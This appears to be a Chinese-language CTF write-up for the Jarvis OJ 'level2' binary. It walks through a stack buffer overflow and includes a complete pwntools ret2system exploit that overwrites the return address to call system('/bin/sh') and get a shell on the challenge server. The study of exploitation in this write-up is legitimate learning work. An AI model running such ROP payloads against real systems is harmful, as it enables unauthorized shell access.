只开了NX,栈上不可执行
main函数
vulnerable_function();
system("echo 'Hello World!'");
return 0;
function函数
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
这次没有像level1一样直接泄露buf地址了,而且开了NX就不能用shellcode了,另外程序没有开canary(栈溢出检测)所以用基本的ROP
因为程序没有开内存地址随机化(PIE),直接用IDA里上方菜单栏内的serch for text查一下system和\bin\sh的地址
.data:0804A024 public hint
.data:0804A024 hint db '/bin/sh',0
.data:0804A024 _data ends
.plt:08048320 jmp ds:off_804A010
.plt:08048320 _system endp
这里有个困惑是IDA里左边列表的_system和system有什么差别呢?system在IDA里是粉色框,是因为main函数没有调用到它吗?之后阅读IDA权威指南的时候希望能找到原因。
有了system和\bin\sh的地址后,就能构造payload了
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
s=remote("pwn2.jarvisoj.com",9878)
payload='a'*0x88+'a'*4+p32(0x08048320)+p32(0x08048320)+p32(0x0804a024)
#这里是0x88+4个'a'把栈和ebp填满,之后用system的地址覆盖返回地址,之后跟着随便一个地址,是system函数执行的地址,这里我直接用system原有的地址(任意地址都可以),最后跟着/bin/sh字符串存放的地址,作为system函数的参数
text=s.recvline()
print text
s.send(payload)
s.interactive()
不过像https://www.cnblogs.com/WangAoBo/p/7622091.html里用ELF读取本地level2文件,再用symbols[‘system’]获取system函数地址,以及用search("/bin/sh").next()得到字符串地址的方式更具有通用性。